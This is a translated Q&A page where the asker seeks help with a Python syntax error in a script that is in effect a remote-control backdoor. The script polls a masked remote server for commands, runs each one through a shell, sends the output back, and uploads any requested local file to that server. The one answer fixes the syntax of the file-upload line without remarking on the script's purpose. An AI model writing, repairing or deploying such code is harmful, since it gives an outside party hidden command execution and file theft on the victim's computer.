使用Python3中的POST请求发送文件[错误:语法无效]

问题描述 投票:1回答:1

我试图在python 3.5中的请求模块中使用post方法发送文件,我在这些行中收到错误说“无效语法”,

  files = ('file':open(path,'rb'))
  r = requests.post(('htttp://#########', files= files))

完整代码如下。

import requests
import subprocess
import time
import os

while True:
     req = requests.get('htttp://########')
     command = req.text
     if 'terminate' in command:
         break
     elif 'grab' in command:
         grab,path = command.split('*')
         if os.path.exists(path):
             url = 'http://#########/store'
             files = ('file':open(path,'rb'))
             r = requests.post(('htttp://#########', files= files))
         else:
             post_request = requests.post(url='htttp://#########',data='[-] 
             Unable to find file !')
     else:
    CMD = subprocess.Popen(command,shell=True, stderr=subprocess.PIPE, 
    stdin=subprocess.PIPE,stdout=subprocess.PIPE)   
    post_request=requests.post(url='htttp://########',data=CMD.stdout.read())
    post_request = requests.post(url= 'htttp://######', 
                    data=CMD.stderr.read())

    time.sleep(3)
python-3.x http-post python-requests
1个回答
-1
投票

你可能想要这个:

files = {'file': open(path, 'rb')}
r = requests.post('htttp://#########', files=files)

dicts是使用花括号而不是括号创建的,并且在调用requests.post时参数周围有额外的括号。

© www.soinside.com 2019 - 2024. All rights reserved.